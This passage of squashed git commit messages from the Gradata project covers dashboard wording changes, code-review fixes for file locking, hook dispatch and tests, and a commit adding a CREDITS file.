this automatically" - "More corrections this week" → "More fixes this week" - Empty state softened CategoriesChart: - "Corrections by Dimension" → "What You Fix Most" - "recalibrating" empty state → "still figuring out what you fix most" - Dropped "6-dim taxonomy (WAVE2)" internal badge GraduationProgressBar: - "Graduation Pipeline" → "How Your AI Learns" - Tier labels now Watching/Learning/Graduated (human names) - Dropped threshold/avg-confidence numerics from cards - "N lessons total" → "N total" Dashboard header: - "Your brain's learning progress" → "What your AI learned from you" 96/96 tests pass. Co-Authored-By: Gradata <noreply@gradata.ai> * fix(dashboard): CR round-3 — demo activity, recurrence ordering, category keys - Wire demoActivityEvents fixture into ActivityFeed when demoMode is on so the Activity panel populates in the preview path (was empty/live-only). - Align demoAnalytics.corrections_by_category keys with CategoriesChart's LEGACY_MAP (FORMAT/PROCESS, not FORMATTING/COMPLETENESS) so demo distribution doesn't all fall into the Factual Integrity fallback. - Only mark a rule as 'recurred' when last_recurrence_at is newer than graduated_at — re-graduated rules should not display as slipping. - Replace `as any` casts in ActivityFeed.test.tsx with a typed helper so OutcomeActivityEvent schema drift breaks tests. - Add dashboard-page test for the empty-brain → preview demo → exit flow. Co-Authored-By: Gradata <noreply@gradata.ai> --------- Co-authored-by: Gradata <noreply@gradata.ai> * fix(review): address CR round 5 on PR #30 - lessons.md writes in cmd_rule_add/cmd_rule_remove now acquire lessons_lock to prevent concurrent-write corruption and TOCTOU races - _lessons.parse_rule_lesson parses inline Metadata JSON block (how_enforced=hooked), not just the legacy [hooked] prefix - stale_hook_check.py: shlex.quote the suggested gradata rule add command so rule text containing quotes/backticks/$(...) stays safe - stale_hook_check.py: detect slug drift on manifest-only entries by matching recorded source_hash against any current lesson's hash - _generated_runner_core.py: only set dispatcher_ran=True when the node dispatcher actually succeeded (returncode in (0, 2)); otherwise the fallback loop was wrongly skipping manifest-backed legacy hooks - rule_to_hook.py + cli.py + stale_hook_check.py: delegate hook-root defaults to gradata.hooks._manifest._hook_root for a single source of truth; hardcoded .claude/hooks/... strings live in one place now - self_improvement.graduate: brain kwarg now typed as Brain | None via TYPE_CHECKING forward reference for static checkers - cloud/brains.create: missing workspace_members insert is now a hard 500 with best-effort workspace rollback instead of warn-and-continue - tests/test_rule_to_hook.py: add TestSharedLessonParser covering both legacy [hooked] prefix and structured Metadata JSON parsing paths Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Oliver Le <oliver@gradata.com> Co-authored-by: Gradata <noreply@gradata.ai> Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Adds CREDITS.md (transparent synthesis of research + inspiration sources) and an 'Intellectual lineage' paragraph to README. Turns potential 'you copied X' accusations into credited prior art. Draft for review before going public.
See docs/public-launch-narrative.md for the full rationale + review checklist.